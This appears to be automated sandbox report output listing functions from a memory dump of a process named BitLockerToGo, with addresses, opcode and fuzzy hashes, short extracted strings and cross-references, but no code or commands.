Opcode ID: 221b8b7200bc90690df757b160595af8b3c3fd4e636a4013a564aef5ba4580e3
Instruction ID: 2b9d51003adf7bfe9110111698de237620d40e33449aea9f1bedc6310fc595cc
Opcode Fuzzy Hash: 221b8b7200bc90690df757b160595af8b3c3fd4e636a4013a564aef5ba4580e3
Instruction Fuzzy Hash: C8E18B70505F518BE3298F39C0A47A3BBE2BF56304F548A6DD4EB4B795C77AA406CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0065624A Relevance: 5.3, Strings: 4, Instructions: 316COMMON

Download Yara Rule

Strings

b)j+, xrefs: 00656576
*-, xrefs: 00656582
g9z;, xrefs: 006565DE
2Rl, xrefs: 006567E9

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: *-$2Rl$b)j+$g9z;
API String ID: 0-268033231
Opcode ID: 95bbc9e332570a76181f305243939d7984f86694288635d63c768337e37fa247
Instruction ID: 5dd259714d590c25d0197a0ffb62444b81c8da4a146f0a56581fcb3e452f50cb
Opcode Fuzzy Hash: 95bbc9e332570a76181f305243939d7984f86694288635d63c768337e37fa247
Instruction Fuzzy Hash: D4B178715083118BD728CF14C8A17ABB7E2FF85319F548A1CE8969B391E7789909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0067BE60 Relevance: 4.1, Strings: 3, Instructions: 325COMMON

Download Yara Rule

Strings

R-,T, xrefs: 0067C040
WTUJ, xrefs: 0067BEC8
R-,T, xrefs: 0067BF20

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: R-,T$R-,T$WTUJ
API String ID: 0-2304309339
Opcode ID: 556ac85e4dbe4496fd629dc6aa530411c22e2dc661d09a420f1ee9d2f03845cd
Instruction ID: 28ee975b0202370ea821500d1b29db2752bebe3484c16472f24da419b6f93df1
Opcode Fuzzy Hash: 556ac85e4dbe4496fd629dc6aa530411c22e2dc661d09a420f1ee9d2f03845cd
Instruction Fuzzy Hash: 21B19B726043128FC714CF18C890BABB7E2FF88764F19896CE8999B351D735E815CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00649380 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

Jz`T, xrefs: 006493A9
bJMs, xrefs: 006493B9
uJr{, xrefs: 006493C4

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Jz`T$bJMs$uJr{
API String ID: 0-3385610598
Opcode ID: 9d4fb363d75039d93f1ea3648ec16b807e582cba68e2af34e82e7b0748655a4d
Instruction ID: fc5440f638ea05d17a665b8b892e87007d092dc89a5d48b7b2467e4e6eba71a9
Opcode Fuzzy Hash: 9d4fb363d75039d93f1ea3648ec16b807e582cba68e2af34e82e7b0748655a4d
Instruction Fuzzy Hash: 7FB148B15083818BD325CF29C46079BFBE1FB86344F14495DE4E59B392C739D90ACBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0064555B Relevance: 3.0, Strings: 2, Instructions: 514COMMON

Download Yara Rule

Strings

0, xrefs: 00645CA9
8, xrefs: 00645CA1

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: a814ba7fa686d79ec55cd06b335a14eef697c2bef86c4ec8bc14d63da590de79
Instruction ID: 36ec90aa00c91a583e108d02ea5a64e1c2b00195b6f8a6974439d07b7e942144
Opcode Fuzzy Hash: a814ba7fa686d79ec55cd06b335a14eef697c2bef86c4ec8bc14d63da590de79
Instruction Fuzzy Hash: DB2257716087809FD724CF18C850B9ABBE2BFC8314F58891DF98A8B392D771D955CB92

Uniqueness

Uniqueness Score: -1.00%

Function 006604E2 Relevance: 3.0, Strings: 2, Instructions: 478COMMON

Download Yara Rule

Strings

p, xrefs: 0066080B
|, xrefs: 00660999

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: p$|
API String ID: 0-3682324569
Opcode ID: 84b1ec9ab87680010da21f5722f50be19d1c2219ea8dea07f07c4c92fcc9495d
Instruction ID: 89f0c437caa5aedc78ee565a9a5ef60ebaa8eb3b019cbb714d89ef2b17ddf587
Opcode Fuzzy Hash: 84b1ec9ab87680010da21f5722f50be19d1c2219ea8dea07f07c4c92fcc9495d
Instruction Fuzzy Hash: 1EE1D2B59083819FE714CF28C4907ABB7E2AFD6304F18896DE4D687352DB34D909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00663327 Relevance: 2.9, Strings: 2, Instructions: 449COMMON

Download Yara Rule

Strings

wxen, xrefs: 006633B8
}yuf, xrefs: 006635B1

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: wxen$}yuf
API String ID: 0-3869496955
Opcode ID: 5e8092bb161e641499ff4f89d60a02313bd121568ac102f1915c1a4c1f723b16
Instruction ID: 3701ff40cb9b7ccfbfbea6d848b019d5b2bf9f300fc07cbe59249fd6f820642e
Opcode Fuzzy Hash: 5e8092bb161e641499ff4f89d60a02313bd121568ac102f1915c1a4c1f723b16
Instruction Fuzzy Hash: 57F1C9B55083918FC724CF24C49176BFBE2AFD8304F148A6DE4A58B392D735D905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00645826 Relevance: 2.8, Strings: 2, Instructions: 264COMMON

Download Yara Rule

Strings

0, xrefs: 00645CA9
8, xrefs: 00645CA1

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 1a584316dc6c451e9273f4f47a9071032e16d3e2eedd7e2222736d14f5510681
Instruction ID: 430b19ef9b9a9d169e902c3d2be5073d5041bcb8b3ca75a5b5d7725b3d427f75
Opcode Fuzzy Hash: 1a584316dc6c451e9273f4f47a9071032e16d3e2eedd7e2222736d14f5510681
Instruction Fuzzy Hash: 72B137316097809FC721CF68C884B9FBBE2AFD9314F48895DF98947352C671D858DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00645B68 Relevance: 2.7, Strings: 2, Instructions: 222COMMON

Download Yara Rule

Strings

0, xrefs: 00645CA9
8, xrefs: 00645CA1

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 386ad4608d80726f7264285b8002c2564c1965005d7e5fa255e3d970feb53a23
Instruction ID: f741c1b3d271790c13f4c42dd1c266e3763322f200fc47ba80a19dac2c2777d9
Opcode Fuzzy Hash: 386ad4608d80726f7264285b8002c2564c1965005d7e5fa255e3d970feb53a23
Instruction Fuzzy Hash: FB9136316083809FD715CF68C840AAFBBE2AFD9314F44891DF98A87392D671D959CB53

Uniqueness

Uniqueness Score: -1.00%

Function 0067AB30 Relevance: 2.7, Strings: 2, Instructions: 161COMMON

Download Yara Rule

Strings

WTUJ, xrefs: 0067AC58
@, xrefs: 0067ABDD

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: @$WTUJ
API String ID: 2994545307-3866202851
Opcode ID: 53462e80a43833ce899c60450486fc31ea480e1c77e938158decd109797470d4
Instruction ID: 917709ca68ced379b6b3684cac5508c60c70c0ac071ec039dcfa80ee5192d3c0
Opcode Fuzzy Hash: 53462e80a43833ce899c60450486fc31ea480e1c77e938158decd109797470d4
Instruction Fuzzy Hash: 78518BB1104301AFDB11CF54C894BAABBF2FF85728F148A0DF9988B291E375D915CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00679F2C Relevance: 2.5, Strings: 2, Instructions: 41COMMON

Download Yara Rule

Strings

h, xrefs: 00679F61
~h, xrefs: 00679F39

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ~h$h
API String ID: 0-4238607828
Opcode ID: 42e81ee93cb5c1a61293f919cee8c9e8b03ca16aeb9ada4b1626ad7eca415e28
Instruction ID: 5e66b20c8d66a591279937708d211d1dafaa8493b21191c897ebd3960cb012c1
Opcode Fuzzy Hash: 42e81ee93cb5c1a61293f919cee8c9e8b03ca16aeb9ada4b1626ad7eca415e28
Instruction Fuzzy Hash: C5011A70655201EFC389CF18D990A2AB7F2FB89304B60951DE49AD7361CF71E94ACF86

Uniqueness

Uniqueness Score: -1.00%

Function 00679F2A Relevance: 2.5, Strings: 2, Instructions: 40COMMON

Download Yara Rule

Strings

h, xrefs: 00679F61
~h, xrefs: 00679F39

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ~h$h
API String ID: 0-4238607828
Opcode ID: acfc8ff28387bcdf28d3244723f236d782c735345196bc250ca221edfaf2c826
Instruction ID: 5be53c62754e89d3be8c9d30a0017b6412a305821067112b888d5da9f23197a2
Opcode Fuzzy Hash: acfc8ff28387bcdf28d3244723f236d782c735345196bc250ca221edfaf2c826
Instruction Fuzzy Hash: F8012C70655201EFC389CF18D990A2AB7F2FB89304B609519E09AD7361CF71A90BCB86

Uniqueness

Uniqueness Score: -1.00%

Function 00659840 Relevance: 1.7, Strings: 1, Instructions: 433COMMON

Download Yara Rule

Strings

(), xrefs: 006599AA

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ()
API String ID: 0-1580606521
Opcode ID: fb3a91a37ec8f22c7b4c58af2afed92631ed8c37860e095655572374f3b3b8ce
Instruction ID: ea503bdac956b5c91eb5e7888efb52607b9ed57bbe3d977f7b0a29938f084e1e
Opcode Fuzzy Hash: fb3a91a37ec8f22c7b4c58af2afed92631ed8c37860e095655572374f3b3b8ce
Instruction Fuzzy Hash: 04C1B075A043118BDB28CF14C8517ABB3F2FF95355F099A2CE8828B394E735E909C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00661C93 Relevance: 1.6, Strings: 1, Instructions: 380COMMON

Download Yara Rule

Strings

", xrefs: 00661E4E

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: c87c3e8c9c8aae031e3302c3a303519c518ccc38ca9790c83bb7f9d555ad81c1
Instruction ID: 0ef59e4ed7976f59bf8317235b57f9b3a2887c15ce7af9b7fcd834e72d99d42e
Opcode Fuzzy Hash: c87c3e8c9c8aae031e3302c3a303519c518ccc38ca9790c83bb7f9d555ad81c1
Instruction Fuzzy Hash: 19C1C6716086419FD718CF28C86136AB7E3AF9A324F09476DE4A6DB3E1D734D941CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0067BB00 Relevance: 1.5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

Strings

WTUJ, xrefs: 0067BB68

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: WTUJ
API String ID: 0-1307471860
Opcode ID: 9e545e2a005864b45406d239742524532acd48872a03eb0c1baa4d02aed2302b
Instruction ID: 9bed1e48d7aa36d7d7252d631f1af1853826f08aa952d49ae9afb3c465bea4b5
Opcode Fuzzy Hash: 9e545e2a005864b45406d239742524532acd48872a03eb0c1baa4d02aed2302b
Instruction Fuzzy Hash: 2DA17D756043029BD724CF19C8A0BABB7E2FF84394F15995DE9898B3A1DB34D845CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00646630 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

,, xrefs: 00646783

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: f4793f31d8fc46346c808c9fc0c1213e806ad6fbb382ed60a328e9d5086f42e3
Instruction ID: 879604dc10c7a314d24bf13cda7fc26f2215836b9e3f35439550169485b77466
Opcode Fuzzy Hash: f4793f31d8fc46346c808c9fc0c1213e806ad6fbb382ed60a328e9d5086f42e3
Instruction Fuzzy Hash: AFB12871109381AFD314CF68C89465AFBE1AFAA304F444A5DF4D897382D371EA18CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0064F66E Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

m}, xrefs: 00651521

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: m}
API String ID: 0-3208514196
Opcode ID: 2e23c56354810e9e79b4bc1ef810277c091b391ec951f0857456778a14faa177
Instruction ID: 3373d91b4af8ab6e283e3e46a1ed7afd3df54f1b40a6de00918a2883f8d8868f
Opcode Fuzzy Hash: 2e23c56354810e9e79b4bc1ef810277c091b391ec951f0857456778a14faa177
Instruction Fuzzy Hash: D981A0715083429FD721CF18C8907AFB7E6BF86315F08592DE49AC7382E7789848CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00650834 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

9A, xrefs: 00650A65

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 9A
API String ID: 0-1317465667
Opcode ID: 0d9ea0f24fb7406e103851016e2a96c5874366f79411ed14923a404918ac4a55
Instruction ID: 7a9cddb876540ee4f3b4de5f68cfbc7d2b571ba5baca059e975c732ada4ba8bf
Opcode Fuzzy Hash: 0d9ea0f24fb7406e103851016e2a96c5874366f79411ed14923a404918ac4a55
Instruction Fuzzy Hash: CF913A705483C28BE3358F04C894BEFBBE6BFC5345F48592DE8998B281D7798549CB82

Uniqueness

Uniqueness Score: -1.00%

Function 006650B7 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

4#Z, xrefs: 00665434

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4#Z
API String ID: 0-959268882
Opcode ID: 3a1e9884aef14dd1b589bd1b781c362b531fa8d9dc8277d61efeb14ef6c51109
Instruction ID: 98953429d32b345c0b234e273af07edc06dc8c6bcae4c5640b7e62b80a70071d
Opcode Fuzzy Hash: 3a1e9884aef14dd1b589bd1b781c362b531fa8d9dc8277d61efeb14ef6c51109
Instruction Fuzzy Hash: E2712870519F808AE7268F35C8A57E3BBE1AB13345F48199DD4EB8B282C7397605DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00650DD9 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

my, xrefs: 00650FD3

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: my
API String ID: 0-3092500109
Opcode ID: 560e2b32e147e9874a3c41a4a349ad2b4488d8228f5d18992c70cd461b67f0ee
Instruction ID: f868e152a6235762f44c122e40fcd0ccb38c28681bcb17996bc00f2e22f2bb40
Opcode Fuzzy Hash: 560e2b32e147e9874a3c41a4a349ad2b4488d8228f5d18992c70cd461b67f0ee
Instruction Fuzzy Hash: 395159701483C28AE335CF04C864BEFBBE2BBC5349F58092DD8D98B282D77955458F82

Uniqueness

Uniqueness Score: -1.00%

Function 006542D1 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

$Q, xrefs: 006543F3

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $Q
API String ID: 0-2046379984
Opcode ID: 3ec895ac7b9553840951073420ae1941470af3cc730bc00ec8bfc9e8ba8838d7
Instruction ID: 74041fa085e7d3b6e1f9f7f1a95f7754586f16e28d89d6d047083d9ef4ca4a7c
Opcode Fuzzy Hash: 3ec895ac7b9553840951073420ae1941470af3cc730bc00ec8bfc9e8ba8838d7
Instruction Fuzzy Hash: 794115711183818FD728CF24C5A079FBBE2BBC9248F554A1CE8A95B381C77495068B82

Uniqueness

Uniqueness Score: -1.00%

Function 00651231 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

fr, xrefs: 00651273

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: fr
API String ID: 0-3430272718
Opcode ID: 527ef46b5ac0cd4bcf39d23a7f7197cd948b2206bece7d9891d06de66e077789
Instruction ID: 92aa8adaf3f5e423a69413b17c2c228fdd9f0ae5297a4107e98fef15f48b58bb
Opcode Fuzzy Hash: 527ef46b5ac0cd4bcf39d23a7f7197cd948b2206bece7d9891d06de66e077789
Instruction Fuzzy Hash: F3115E7060D3808BE3758F24C965BEBB7F2AB86304F548A2CD48DC7781CB7985498B0A

Uniqueness

Uniqueness Score: -1.00%

Function 00654CA6 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

l, xrefs: 00654CE9

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: l
API String ID: 0-1044279616
Opcode ID: d056d5d03c86e738564c69146e4f5f0bbd3aaa495ef66105aa56a9610b5d518d
Instruction ID: 8d37c02476fb01d5fa1091281eb7e2c69117ca27b49c8245a6f74df0c8e7b30d
Opcode Fuzzy Hash: d056d5d03c86e738564c69146e4f5f0bbd3aaa495ef66105aa56a9610b5d518d
Instruction Fuzzy Hash: 08F058786443518B8704CF09D8A0636B3F2BFDE349F146559E89AE7360EA34DC42C755

Uniqueness

Uniqueness Score: -1.00%

Function 0064ED28 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0064ED28

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 0237e07bd09715cd715762bca26b766f2b18dcf0b6113ba06dcd7ebe6d2d996d
Instruction ID: 1f2e10f11d730100aec25874157f0532582a17b5ceaf678e22f9f0f42f7246fa
Opcode Fuzzy Hash: 0237e07bd09715cd715762bca26b766f2b18dcf0b6113ba06dcd7ebe6d2d996d
Instruction Fuzzy Hash: CEC012B59045409BD344CB24EC19935777A56072867053124D54AEB311DA21D4028719

Uniqueness

Uniqueness Score: -1.00%

Function 00647CB0 Relevance: .8, Instructions: 822COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f44f6d9bb8baa8dfbceaf20235fea8ba2ebbfa223eb268673e73591dd185f5ad
Instruction ID: 70e991c6cea9058ce81d60a6b6f8669ef19830aac2ffcf26e18098928f415e53
Opcode Fuzzy Hash: f44f6d9bb8baa8dfbceaf20235fea8ba2ebbfa223eb268673e73591dd185f5ad
Instruction Fuzzy Hash: FE52E2316187118FC724DF28D8906AFB3E2FFC4315F198A2DD99687384DB35A955CB82

Uniqueness

Uniqueness Score: -1.00%

Function 006766B0 Relevance: .6, Instructions: 618COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ee62fb10399f789c5e71014fca71e9d662568e810cb9b63de3e959b9815d729
Instruction ID: 3bfb533e0a791b2e166e7781804243f0f3c21dffba6577aa05d252cfbac276fb
Opcode Fuzzy Hash: 2ee62fb10399f789c5e71014fca71e9d662568e810cb9b63de3e959b9815d729
Instruction Fuzzy Hash: 242289B46087419FD714CF18C490B6BBBE2BBC5318F188A2DF4A98B391C775E805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00646060 Relevance: .5, Instructions: 497COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ccfd8b7127ddcc2398c5bbf1707b9082e5a7fa4f3c8dfce9715ad3876bcc6fd
Instruction ID: 59b50532acacd555a38edb7af80156a6015c2bec1720a90af07eb26af8dad7f6
Opcode Fuzzy Hash: 7ccfd8b7127ddcc2398c5bbf1707b9082e5a7fa4f3c8dfce9715ad3876bcc6fd
Instruction Fuzzy Hash: D302A1356083508FDB18CF29C88175ABBE2AFD9300F0888ADF8898B356D775D945CB97

Uniqueness

Uniqueness Score: -1.00%

Function 006469F4 Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 352319e8df480d6478182d582f2559b2014cdcc45f9daf7ddd19f5b993c6511d
Instruction ID: 6cd8d8edcb11d848b308c129c619a7694bfc07d3bd69c9fd3f025a79f62c89b7
Opcode Fuzzy Hash: 352319e8df480d6478182d582f2559b2014cdcc45f9daf7ddd19f5b993c6511d
Instruction Fuzzy Hash: AEE16AB2A087408FC375CF68C8957ABB7F2BF85314F584A2DD5DAC6381DA75A441CB06

Uniqueness

Uniqueness Score: -1.00%

Function 00646ED4 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27df06b66608bc118dfd245866a628511db619b4382fa9bc3bfe78d750e45a89
Instruction ID: de45737efbff2d608fed2d5e4f4d68d97512c1e166d928d6dfe3f2ad31fd0b9d
Opcode Fuzzy Hash: 27df06b66608bc118dfd245866a628511db619b4382fa9bc3bfe78d750e45a89
Instruction Fuzzy Hash: C6E185E1E0C7845EFB718B30C0843D3BAD2ABA5314F19496ED5DA07383C7BE9A889755

Uniqueness

Uniqueness Score: -1.00%

Function 00643C5F Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1afc6836f70b6c5aa4a0117f1d82cd16d4bb9ce8a7375c63d1a7af01bae6fc78
Instruction ID: 81b80d675cd9885822514a1f813b02d6bcdbf1baa7a89bb612b82ca41a8c2a92
Opcode Fuzzy Hash: 1afc6836f70b6c5aa4a0117f1d82cd16d4bb9ce8a7375c63d1a7af01bae6fc78
Instruction Fuzzy Hash: 96D14570515B618FC768CF29C59066ABBF2BF85710BA08A2ED5978BF90C735F945CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00643678 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e12de20e8ff375f94af8c7b32830e7b8d38f4ffc041bd9cb556263df623b2e53
Instruction ID: 223a346e81d1ad1a2bbee50edf8596d81d8faae19628f5c17ff44a815fe6e60f
Opcode Fuzzy Hash: e12de20e8ff375f94af8c7b32830e7b8d38f4ffc041bd9cb556263df623b2e53
Instruction Fuzzy Hash: EAC1B4719083618FCB19CF28C0D05AABBE2BF84314F198AADE8D95B346D734DE45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00648920 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9ba0ef5e4d212f14ddd9873e9ce8b5ed19ac3fc3b20ba7b61a5d25cea0dfc44
Instruction ID: 38a6c5a50fef6a6c33d7e943d237d8d6a2ce3facb36b9b74f575bca4b184da96
Opcode Fuzzy Hash: b9ba0ef5e4d212f14ddd9873e9ce8b5ed19ac3fc3b20ba7b61a5d25cea0dfc44
Instruction Fuzzy Hash: 28A15C72A087584FC7119E2CC8842AEBBD3EB81710F294A5DE8E9D73D1EB35CD468785

Uniqueness

Uniqueness Score: -1.00%

Function 0064F9A2 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_640000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5a694649dcdc5f519209a7583a992cb7c042bac8c14618109aa02af75b79fe
Instruction ID: 38af45a6cde068d1b8ac11e0467d81e440dae9b8bf7c665f0dd5753e0f842a26
Opcode Fuzzy Hash: 2a5a694649dcdc5f519209a7583a992cb7c042bac8c14618109aa02af75b79fe
Instruction Fuzzy Hash: E071CF719087829FD324CF24C890BAFB7E6EB85354F08593CE49AC3391E7789944CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00661A68 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1909878927.0000000000640000.00000040.00000400.00020000.00000000.sdmp, Offset: 00640000, based on PE: true

Joe Sandbox IDA Plugin

